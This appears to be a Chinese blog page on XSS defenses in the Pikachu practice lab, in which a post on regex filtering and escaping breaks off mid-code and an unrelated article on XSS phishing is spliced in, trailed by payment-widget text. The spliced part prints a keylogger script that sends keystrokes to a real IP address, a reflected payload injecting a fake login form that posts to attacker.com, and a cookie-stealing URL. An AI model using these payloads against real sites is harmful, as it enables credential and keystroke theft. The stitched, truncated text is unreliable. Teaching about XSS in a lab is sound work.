Pikachu中 Xss的简单防御剖析

本文详细剖析了Pikachu中针对XSS攻击的防御措施,包括输入过滤、正则表达式替换、HTML转义、JavaScript编码、长度控制、模板引擎安全设置、避免内联事件和拼接HTML等方法,旨在提高网站的安全性。

Pikachu中 Xss的简单防御剖析 --小文文

xss的防范措施总原则:


输入做过滤,输出做转义

过滤:比如对输入的东西做要求,如输入手机号,只能输入数字
转义∶所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到JS里面的进行js转义。

输入过滤

第一part + 防御

例子:输入内容<script>alert(‘123’)</script>

说明:我们输入的<script></script>被过滤掉了 

这里使用,实现简单的防御

//preg_replace正则表达式<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']); 

第二part 严谨的防御++

  防御  大小写 输入内容:<SCRIPT>alert(‘123’)</SCRIPT>

点击submit,有下图所示:

利用escapeHTML()函数,实现防御

防御核心

//这里会使用正则对<script进行替换为空,也就是过滤掉,修改方式是:添加escape()函数
$message=escape(preg_replace('/<(.*)

### XSS 钓鱼攻击原理 XSS(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过向网页中注入恶意脚本,使其他用户在浏览该页面时执行这些脚本。钓鱼攻击是XSS的一个典型应用场景,其核心思想是利用恶意脚本诱导用户输入敏感信息(如用户名、密码、Cookie等),并将这些信息发送到攻击者控制的服务器。 在Pikachu靶场中,XSS钓鱼攻击通常分为反射型、存储型和DOM型三种形式: - **反射型XSS**:恶意脚本作为URL参数传递,并在页面上直接显示或执行,通常需要用户点击特定链接来触发。 - **存储型XSS**:恶意脚本被存储在服务器端(如数据库中),当其他用户访问包含该脚本的页面时会自动执行。 - **DOM型XSS**:攻击不经过后端处理,而是通过修改页面的DOM对象来触发脚本执行,常用于前端逻辑处理不当的场景。 钓鱼攻击的关键在于构造一个伪装成正常页面的表单或弹窗,诱导用户输入敏感信息,随后通过JavaScript将数据发送到攻击者的服务器。 ### 示例分析 #### 1. 存储型XSS实现键盘记录 在Pikachu靶场中,攻击者可以构造一个恶意脚本并提交到目标网站的留言板、评论区等可存储用户输入的地方。一旦有用户访问该页面,恶意脚本就会在用户的浏览器中执行,并开始监听键盘事件,记录用户的每一次按键操作,包括可能输入的用户名和密码。 示例代码如下: ```html <script> document.addEventListener("keydown", function(event) { let key = event.key; // 将按键记录发送到攻击者服务器 fetch('http://116.204.99.177/pkxss/xfish/log.php?key=' + encodeURIComponent(key)); }); </script> ``` 上述代码会在页面加载后监听所有键盘事件,并将每次按键发送到指定的远程服务器,攻击者可以在服务器端收集这些数据以获取用户的敏感信息[^1]。 #### 2. 反射型XSS钓鱼表单 攻击者构造一个带有恶意脚本的URL,诱导用户点击。当用户访问该链接时,脚本会在页面上插入一个伪造的登录表单,用户输入的凭证会被发送到攻击者的服务器。 示例URL: ``` http://pikachu.example.com/?name=<script>document.body.innerHTML += '<form action=\"http://attacker.com/catch\" method=\"POST\">Username:<input type=\"text\" name=\"user\"><br>Password:<input type=\"password\" name=\"pass\"><br><input type=\"submit\" value=\"Login\"></form>';</script> ``` 用户点击该链接后,页面上会出现一个伪装成原网站的登录表单。用户输入的信息会被提交到攻击者的服务器,从而完成钓鱼过程[^2]。 #### 3. DOM型XSS URL参数注入 DOM型XSS通常发生在前端处理URL参数时未进行适当的过滤和转义。例如,页面根据URL中的某个参数动态更新页面内容,攻击者可以构造恶意参数值,使其包含JavaScript代码。 示例代码: ```html <script> let search = location.search.substring(1); document.getElementById("searchResult").innerHTML = "You searched for: " + search; </script> ``` 攻击者构造的恶意链接为: ``` http://pikachu.example.com/search.html?keyword=<script>alert(document.cookie)</script> ``` 如果页面没有对`search`变量进行处理,恶意脚本将在用户浏览器中执行,进而窃取用户的Cookie信息[^4]。 ### 防御措施 为了防止XSS钓鱼攻击,开发人员应采取以下几种主要防御手段: - **输入过滤与转义**:对所有来自用户的输入进行严格的验证和过滤,确保不会将其作为HTML或JavaScript代码执行。可以使用HTML实体编码(如`<`代替`<`)来防止恶意脚本注入。 - **输出上下文感知编码**:根据输出位置(HTML、JavaScript、CSS等)采用不同的编码方式,避免特殊字符被浏览器错误解析。 - **使用Content Security Policy (CSP)**:通过设置HTTP头`Content-Security-Policy`,限制页面只能加载指定来源的脚本,阻止内联脚本执行,有效缓解XSS攻击。 - **避免内联事件处理**:尽量避免在HTML标签中使用`onclick`、`onload`等内联事件属性,改用外部JavaScript绑定事件。 - **启用HttpOnly Cookie标志**:设置Cookie的`HttpOnly`属性为`true`,防止JavaScript读取敏感Cookie数据,降低XSS攻击的危害。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值